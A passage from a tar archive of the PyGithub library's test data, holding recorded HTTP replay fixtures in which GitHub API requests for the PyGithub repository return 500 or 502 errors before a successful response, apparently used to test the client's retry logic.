('X-GitHub-Request-Id', 'F9D6:235E:3C00DD:772BC6:5BD2AE02')] {"error": "Server Error"} https GET api.github.com None /repos/PyGithub/PyGithub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 502 [('Server', 'GitHub.com'), ('Date', 'Fri, 26 Oct 2018 06:02:42 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '502 Bad Gateway'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4970'), ('X-RateLimit-Reset', '1540536267'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('ETag', 'W/"3ffd69d4f4e7383eae948812b1eb72e5"'), ('X-OAuth-Scopes', 'repo'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; param=star; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'F9D6:235E:3C00DD:772BC6:5BD2AE02')] {"error": "Server Error"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Retry.testReturnsRepoAfter1Retry.txt0000644000175100001660000002111014756101563025277 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 500 [('Server', 'GitHub.com'), ('Date', 'Fri, 26 Oct 2018 06:02:42 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '500 Internal Server Error'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4970'), ('X-RateLimit-Reset', '1540536267'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('ETag', 'W/"3ffd69d4f4e7383eae948812b1eb72e5"'), ('X-OAuth-Scopes', 'repo'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; param=star; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'F9D6:235E:3C00DD:772BC6:5BD2AE02')] {"error": "Server Error"} https GET api.github.com None /repos/PyGithub/PyGithub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Fri, 14 Dec 2018 17:20:59 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4998'), ('X-RateLimit-Reset', '1544811658'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('ETag', 'W/"6edb0f751d877e7d63f6accba11f7cbd"'), ('Last-Modified', 'Thu, 13 Dec 2018 15:19:18 GMT'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'E656:4CFB:2F753A4:61982D2:5C13E67A')] {"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2018-12-13T15:19:18Z","pushed_at":"2018-12-13T22:50:18Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":11559,"stargazers_count":2256,"watchers_count":2256,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":765,"mirror_url":null,"archived":false,"open_issues_count":67,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"forks":765,"open_issues":67,"watchers":2256,"default_branch":"master","permissions":{"admin":false,"push":false,"pull":true},"organization":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"network_count":765,"subscribers_count":86} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Retry.testReturnsRepoAfter3Retries.txt0000644000175100001660000002645214756101563025627 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 502 [('Server', 'GitHub.com'), ('Date', 'Fri, 26 Oct 2018 06:02:42 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '502 Bad Gateway'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4970'), ('X-RateLimit-Reset', '1540536267'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('ETag', 'W/"3ffd69d4f4e7383eae948812b1eb72e5"'), ('X-OAuth-Scopes', 'repo'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; param=star; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'F9D6:235E:3C00DD:772BC6:5BD2AE02')] {"error": "Server Error"} https GET api.github.com None /repos/PyGithub/PyGithub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 502 [('Server', 'GitHub.com'), ('Date', 'Fri, 26 Oct 2018 06:02:42 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '502 Bad Gateway'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4970'), ('X-RateLimit-Reset', '1540536267'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('ETag', 'W/"3ffd69d4f4e7383eae948812b1eb72e5"'), ('X-OAuth-Scopes', 'repo'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; param=star; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'F9D6:235E:3C00DD:772BC6:5BD2AE02')] {"error": "Server Error"} https GET api.github.com None /repos/PyGithub/PyGithub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 502 [('Server', 'GitHub.com'), ('Date', 'Fri, 26 Oct 2018 06:02:42 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '502 Bad Gateway'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4970'), ('X-RateLimit-Reset', '1540536267'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('ETag', 'W/"3ffd69d4f4e7383eae948812b1eb72e5"'), ('X-OAuth-Scopes', 'repo'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; param=star; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'F9D6:235E:3C00DD:772BC6:5BD2AE02')] {"error": "Server Error"} https GET api.github.com None /repos/PyGithub/PyGithub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Fri, 14 Dec 2018 17:20:59 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4998'), ('X-RateLimit-Reset', '1544811658'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('ETag', 'W/"6edb0f751d877e7d63f6accba11f7cbd"'), ('Last-Modified', 'Thu, 13 Dec 2018 15:19:18 GMT'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'E656:4CFB:2F753A4:61982D2:5C13E67A')] {"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2018-12-13T15:19:18Z","pushed_at":"2018-12-13T22:50:18Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":11559,"stargazers_count":2256,"watchers_count":2256,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":765,"mirror_url":null,"archived":false,"open_issues_count":67,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"forks":765,"open_issues":67,"watchers":2256,"default_branch":"master","permissions":{"admin":false,"push":false,"pull":true},"organization":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"network_count":765,"subscribers_count":86} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Retry.testReturnsRepoAfterSettingRetryHttp.txt0000644000175100001660000001664514756101563027435 0ustar00runnerdockerhttp GET my.enterprise.com None /repos/PyGithub/PyGithub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Fri, 08 Jan 2021 10:42:45 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('Cache-Control', 'public, max-age=60, s-maxage=60'), ('Vary', 'Accept, Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('ETag', 'W/"e132b35ca5ec517feb3106720dceb9394b5bf1f333ef886f8c407d3f2d5de3b2"'), ('Last-Modified', 'Fri, 08 Jan 2021 09:41:41 GMT'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '60'), ('X-RateLimit-Remaining', '32'), ('X-RateLimit-Reset', '1610104719'), ('X-RateLimit-Used', '28'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '9588:CCCC:9EFCE:B6C13:5FF83725')] {"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"http://my.enterprise.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"http://my.enterprise.com/users/PyGithub/followers","following_url":"http://my.enterprise.com/users/PyGithub/following{/other_user}","gists_url":"http://my.enterprise.com/users/PyGithub/gists{/gist_id}","starred_url":"http://my.enterprise.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"http://my.enterprise.com/users/PyGithub/subscriptions","organizations_url":"http://my.enterprise.com/users/PyGithub/orgs","repos_url":"http://my.enterprise.com/users/PyGithub/repos","events_url":"http://my.enterprise.com/users/PyGithub/events{/privacy}","received_events_url":"http://my.enterprise.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"http://my.enterprise.com/repos/PyGithub/PyGithub","forks_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/forks","keys_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/teams","hooks_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/events","assignees_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/tags","blobs_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/languages","stargazers_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/subscription","commits_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/merges","archive_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/downloads","issues_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"http://my.enterprise.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2021-01-08T09:41:41Z","pushed_at":"2021-01-07T18:49:51Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":13251,"stargazers_count":4000,"watchers_count":4000,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":1245,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":82,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"http://my.enterprise.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"forks":1245,"open_issues":82,"watchers":4000,"default_branch":"master","temp_clone_token":null,"organization":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"http://my.enterprise.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"http://my.enterprise.com/users/PyGithub/followers","following_url":"http://my.enterprise.com/users/PyGithub/following{/other_user}","gists_url":"http://my.enterprise.com/users/PyGithub/gists{/gist_id}","starred_url":"http://my.enterprise.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"http://my.enterprise.com/users/PyGithub/subscriptions","organizations_url":"http://my.enterprise.com/users/PyGithub/orgs","repos_url":"http://my.enterprise.com/users/PyGithub/repos","